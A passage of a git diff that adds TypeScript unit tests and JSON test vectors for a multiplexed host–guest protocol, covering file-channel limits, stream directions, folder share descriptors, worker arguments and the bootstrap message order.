fileFlows.fileResponseBytes, fileFlows.fileInFlightRequests]).toEqual([COWORK_NATIVE_LIMITS.fileRequestBytes, COWORK_NATIVE_LIMITS.fileResponseBytes, COWORK_NATIVE_LIMITS.fileInFlightRequests]); + // The guest relay gives FILE_IN its own 256 KiB ring: four times the most the host may have outstanding, the same safety factor as the runtime ring. + expect(4 * COWORK_NATIVE_LIMITS.fileInFlightRequests * COWORK_NATIVE_LIMITS.fileRequestBytes).toBe(256 * 1024); + expect(COWORK_NATIVE_FILE_CHANNEL_CAPABILITY).toBe("file-channel-v1"); +}); +test("file channel flow: four outstanding requests, lines bounded, a response answers one, and neither file stream touches the runtime IN count", () => { + for (const entry of fileFlows.fileCases) { + const streams = new CoworkNativeRuntimeStreams(1); + let refusedAt: number | null = null, error: string | null = null; + for (const [index, step] of entry.steps.entries()) { + const data = new Uint8Array(step.bytes).fill(0x61); + for (let i = 0; i < (step.newlines ?? 0); i++) data[step.bytes - 1 - i] = 0x0a; + const failed = code(() => streams.accept({ class: "runtime", seq: index + 1, conversation: 0, stream: step.stream, end: false, payload: data })); + if (failed !== "accepted") { refusedAt = index; error = failed; break; } + } + expect(`${entry.name}:${refusedAt}:${error}`).toBe(`${entry.name}:${entry.refusedAt}:${entry.error}`); + } + expect(fileFlows.fileCases.length).toBeGreaterThanOrEqual(15); +}); +test("a refused file frame changes nothing: the next legal frame is judged against the state before it", () => { + const streams = new CoworkNativeRuntimeStreams(1), line = (n: number) => { const b = new Uint8Array(n).fill(0x61); b[n - 1] = 0x0a; return b; }; + const send = (stream: "file_in" | "file_out", payload: Uint8Array) => code(() => streams.accept({ class: "runtime", seq: 1, conversation: 0, stream, end: false, payload })); + for (let i = 0; i < 3; i++) expect(send("file_in", line(10))).toBe("accepted"); + const two = new Uint8Array(20).fill(0x61); two[9] = 0x0a; two[19] = 0x0a; + expect(send("file_in", two)).toBe("oversize"); // the fifth request is in the same frame: all of it is refused + expect(streams.fileRequestBudget).toBe(1); + expect(send("file_in", line(10))).toBe("accepted"); + expect(send("file_out", line(10))).toBe("accepted"); + expect(streams.fileRequestBudget).toBe(1); +}); +test("the file streams travel only on conversation 0 and only their own way; stream 4 travelling up is a direction error", () => { + const frame = (conversation: number, stream: number) => { const b = Buffer.alloc(16 + 6); b.write("WMX1", 0, "latin1"); b[4] = 1; b[5] = 2; b.writeUInt32LE(1, 8); b.writeUInt32LE(6, 12); b[16] = conversation; b[17] = stream; b[20] = 0x61; b[21] = 0x0a; return Uint8Array.from(b); }; + expect(code(() => parseCoworkNativeMuxFrame(frame(0, 4), "down"))).toBe("accepted"); + expect(code(() => parseCoworkNativeMuxFrame(frame(0, 5), "up"))).toBe("accepted"); + expect(code(() => parseCoworkNativeMuxFrame(frame(0, 4), "up"))).toBe("bad_direction"); + expect(code(() => parseCoworkNativeMuxFrame(frame(0, 5), "down"))).toBe("bad_direction"); + for (const conversation of [1, 15]) for (const [stream, dir] of [[4, "down"], [5, "up"]] as const) expect(code(() => parseCoworkNativeMuxFrame(frame(conversation, stream), dir))).toBe("bad_field"); + expect(code(() => parseCoworkNativeMuxFrame(frame(0, 6), "up"))).toBe("bad_field"); + expect(mux.negative.find(entry => entry.name === "runtime-stream-four")!.error).toBe("bad_direction"); +}); +test("bootstrap JSON is version 2 and control JSON stays version 1; a payload one revision behind or ahead is told `version`", () => { + for (const entry of mux.positive.filter(item => item.class === "bootstrap")) expect(Buffer.from(entry.hex, "hex").subarray(16, 23).toString("latin1")).toBe('{"v":2,'); + for (const entry of mux.positive.filter(item => item.class === "control")) expect(Buffer.from(entry.hex, "hex").subarray(16, 23).toString("latin1")).toBe('{"v":1,'); + for (const name of ["bootstrap-version-one", "bootstrap-version-three"]) expect(mux.negative.find(entry => entry.name === name)!.error).toBe("version"); +}); +test("shares: the guest message and the L1 line follow one rule set (kinds, mounts, modes, tags), and every Winter share has its fixed mount", () => { + const message = parseCoworkNativeMuxFrame(bytes(mux.positive.find(entry => entry.name === "bootstrap-down-shares")!.hex), "down"); + expect(message.class === "bootstrap" && message.message.t === "shares" && message.message.shares.map(share => share.kind)).toEqual(["folder", "folder", "guidance", "memory", "outputs"]); + if (message.class === "bootstrap" && message.message.t === "shares") for (const share of message.message.shares) if (share.kind !== "folder") expect(share.guestPath).toBe(COWORK_NATIVE_SHARE_MOUNTS[share.kind]); + const line = parseCoworkNativeLauncherLine(lines.positive.find(entry => entry.name === "shares-two-records")!.line, "to-launcher", 2); + expect(line.t === "shares" && line.shares.map(share => [share.kind, share.mode])).toEqual([["folder", "rw"], ["guidance", "ro"]]); + for (const rule of ["shares-nested-paths", "shares-equal-paths", "shares-same-identity", "shares-guidance-read-write", "shares-wrong-rights"]) expect(lines.negative.some(entry => entry.name === rule)).toBe(true); + for (const rule of ["shares-thirteen", "shares-ten-folders", "shares-two-memory", "shares-guidance-writable", "shares-memory-read-only", "shares-folder-nested-mount", "shares-duplicate-tag"]) expect(mux.negative.some(entry => entry.name === rule)).toBe(true); +}); +test("the SHARES envelope carries one descriptor per share, fixed 308 byte slots, and the ABI flag bits; share events number their notice kinds from 1", () => { + const entry = envelopes.positive.find(item => item.name === "shares-two")!, parsed = parseCoworkNativeEnvelope(bytes(entry.hex), 2, "to-worker"); + expect(parsed.kind === "shares" && parsed.shares.map(share => [share.tag, share.readOnly, share.winterShare])).toEqual([["src-0", false, false], ["winter-guidance", true, true]]); + expect(Buffer.from(entry.hex, "hex").readUInt32LE(16 + 8 + 48)).toBe(4); // folder rules + expect(Buffer.from(entry.hex, "hex").readUInt32LE(16 + 8 + 308 + 48)).toBe(1 | 2); // read-only Winter share + const notices = envelopes.positive.filter(item => item.kind === "share_event" && item.name.startsWith("share-event-notice-")); + expect(notices.map(item => Buffer.from(item.hex, "hex").readUInt32LE(16 + 36))).toEqual(COWORK_NATIVE_SHARE_NOTICE_KINDS.map((_, index) => index + 1)); + for (const rights of [0, 1, 3]) expect(code(() => parseCoworkNativeEnvelope(bytes(entry.hex), rights, "to-worker"))).toBe("bad_rights"); +}); +test("worker argv: [path] without shares, otherwise the --shares-v1 form, strict and round-tripping", () => { + expect(COWORK_NATIVE_WORKER_SHARES_FLAG).toBe("--shares-v1"); + for (const entry of argvVectors.positive) expect(serializeCoworkNativeWorkerArgv(parseCoworkNativeWorkerArgv(entry.argv))).toEqual(entry.argv); + for (const entry of argvVectors.negative) expect(`${entry.name}:${code(() => parseCoworkNativeWorkerArgv(entry.argv))}`).not.toBe(`${entry.name}:accepted`); + expect(argvVectors.negative.length).toBeGreaterThanOrEqual(15); +}); +test("cold resume: continuation and ended boots ride in the runtime, a fresh store has no ended boot, the live boot is never ended, and runtime_ready says which ran", () => { + const resume = parseCoworkNativeMuxFrame(bytes(mux.positive.find(entry => entry.name === "bootstrap-down-conversations-resume")!.hex), "down"); + expect(resume.class === "bootstrap" && resume.message.t === "conversations" && resume.message.conversations[0]!.runtime).toMatchObject({ continuation: "resume", endedGuestBoots: expect.any(Array) }); + const ready = parseCoworkNativeMuxFrame(bytes(mux.positive.find(entry => entry.name === "bootstrap-up-runtime-ready-resumed")!.hex), "up"); + expect(ready.class === "bootstrap" && ready.message.t === "runtime_ready" && ready.message.continuations).toEqual(["resume"]); + for (const rule of ["conversations-fresh-with-ended-boots", "conversations-ended-boots-include-the-live-boot", "conversations-ended-boots-repeated", "conversations-ended-boots-five", "conversations-continuation-unknown", "conversations-timeout-over-a-day", "runtime-ready-continuations-longer-than-the-set", "runtime-ready-continuation-either"]) + expect(mux.negative.some(entry => entry.name === rule)).toBe(true); + expect(COWORK_NATIVE_LIMITS.runtimeTimeoutCeilingMs).toBe(24 * 60 * 60 * 1000); +}); +test("the browse uid is one per workspace, distinct from every runtime uid, tool uid and group, inside the unix id range", () => { + const set = parseCoworkNativeMuxFrame(bytes(mux.positive.find(entry => entry.name === "bootstrap-down-conversations-browse-uid")!.hex), "down"); + expect(set.class === "bootstrap" && set.message.t === "conversations" && set.message.browseUid).toBe(21000); + for (const rule of ["browse-uid-equals-runtime-uid", "browse-uid-equals-tool-uid", "browse-uid-equals-gid", "browse-uid-nobody", "browse-uid-missing"]) expect(mux.negative.some(entry => entry.name === `conversations-${rule}`)).toBe(true); +}); +test("bootstrap order with shares: shares only after mounted and before the set, the set only after shares_mounted", () => { + const byName = (name: string) => orders.cases.find(entry => entry.name === name)!.result; + expect(byName("full-sequence-with-shares")).toEqual({ ok: true }); + for (const name of ["conversations-before-shares-mounted", "shares-after-conversations", "shares-before-mounted", "shares-mounted-without-shares", "shares-twice"]) expect(byName(name)).toMatchObject({ ok: false, reason: "out_of_order" }); +}); diff --git a/packages/core/test/cowork/native/vectors/bootstrap-order.json b/packages/core/test/cowork/native/vectors/bootstrap-order.json index 178f6e43f..c16f42932 100644 --- a/packages/core/test/cowork/native/vectors/bootstrap-order.json +++ b/packages/core/test/cowork/native/vectors/bootstrap-order.json @@ -461,6 +461,338 @@ "index": 1, "reason": "out_of_order" } + }, + { + "name": "full-sequence-with-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "shares_mounted" + }, + { + "dir": "down", + "t": "conversations" + }, + { + "dir": "up", + "t": "runtime_ready" + } + ], + "result": { + "ok": true + } + }, + { + "name": "shares-without-conversations", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "shares_mounted" + } + ], + "result": { + "ok": true + } + }, + { + "name": "conversations-before-shares-mounted", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "conversations" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-after-conversations", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "conversations" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-before-mounted", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 4, + "reason": "out_of_order" + } + }, + { + "name": "shares-mounted-without-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "up", + "t": "shares_mounted" + } + ], + "result": { + "ok": false, + "index": 5, + "reason": "out_of_order" + } + }, + { + "name": "shares-twice", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-mounted-travelling-down", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "shares_mounted" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "fault-answering-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "fault" + } + ], + "result": { + "ok": true + } } ] } diff --git a/packages/core/test/cowork/native/vectors/envelopes.json b/packages/core/test/cowork/native/vectors/envelopes.json index 94269284c..6c4af0ae6 100644 --- a/packages/core/test/cowork/native/vectors/envelopes.json +++ b/packages/core/test/cowork/native/vectors/envelopes.json @@ -239,6 +239,78 @@ "hex": "574556310105000005000000080000000800000000000000", "kind": "fault", "seq": 5 + }, + { + "name": "shares-two", + "direction": "to-worker", + "rights": 2, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "kind": "shares", + "seq": 4 + }, + { + "name": "share-revoke", + "direction": "to-worker", + "rights": 0, + "hex": "574556310107000005000000200000007372632d30000000000000000000000000000000000000000000000000000000", + "kind": "share_revoke", + "seq": 5 + }, + { + "name": "share-event-revoked", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310108000006000000280000007372632d300000000000000000000000000000000000000000000000000000000100000000000000", + "kind": "share_event", + "seq": 6 + }, + { + "name": "share-event-notice-envrc", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310108000007000000280000007372632d300000000000000000000000000000000000000000000000000000000200000001000000", + "kind": "share_event", + "seq": 7 + }, + { + "name": "share-event-notice-vscode-tasks", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310108000008000000280000007372632d300000000000000000000000000000000000000000000000000000000200000002000000", + "kind": "share_event", + "seq": 8 + }, + { + "name": "share-event-notice-vscode-settings", + "direction": "to-launcher", + "rights": 0, + "hex": "574556310108000009000000280000007372632d300000000000000000000000000000000000000000000000000000000200000003000000", + "kind": "share_event", + "seq": 9 + }, + { + "name": "share-event-notice-code-workspace", + "direction": "to-launcher", + "rights": 0, + "hex": "57455631010800000a000000280000007372632d300000000000000000000000000000000000000000000000000000000200000004000000", + "kind": "share_event", + "seq": 10 + }, + { + "name": "share-event-notice-idea-project", + "direction": "to-launcher", + "rights": 0, + "hex": "57455631010800000b000000280000007372632d300000000000000000000000000000000000000000000000000000000200000005000000", + "kind": "share_event", + "seq": 11 + }, + { + "name": "share-event-notice-git-protected", + "direction": "to-launcher", + "rights": 0, + "hex": "57455631010800000c000000280000007372632d300000000000000000000000000000000000000000000000000000000200000006000000", + "kind": "share_event", + "seq": 12 } ], "negative": [ @@ -451,6 +523,382 @@ "rights": 0, "hex": "57455631010100000100000000020000776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131000000000000000000000000000000000000696e632d32323232323232322d323232322d343232322d383232322d32323232323232323232323200000000000000000000000000000000000000000000000063746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d613162326333643400000000000000000000000000000077726b2d34343434343434342d343434342d343434342d383434342d34343434343434343434343400000000000000000000000000000000000000000000000061646d2d33333333333333332d333333332d343333332d383333332d333333333333333333333333000000000000000000000000000000000000000000000000abababababababababababababababababababababababababababababababab03000000000000000200000001040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "error": "bad_field" + }, + { + "name": "shares-rights-one-short", + "direction": "to-worker", + "rights": 1, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "error": "bad_rights" + }, + { + "name": "shares-rights-none", + "direction": "to-worker", + "rights": 0, + "hex": "574556310106000004000000780e000001000000020000007372632d3000000000000000000000000000000000000000000000000000000012000001000000009210000000000000040000002f776f726b73706163652f666f6c646572732f6e6f7465730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077696e7465722d67756964616e6365000000000000000000000000000000000012000001000000001f14000000000000030000002f72756e2f77696e7465722f7368617265642d696e737472756374696f6e7300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000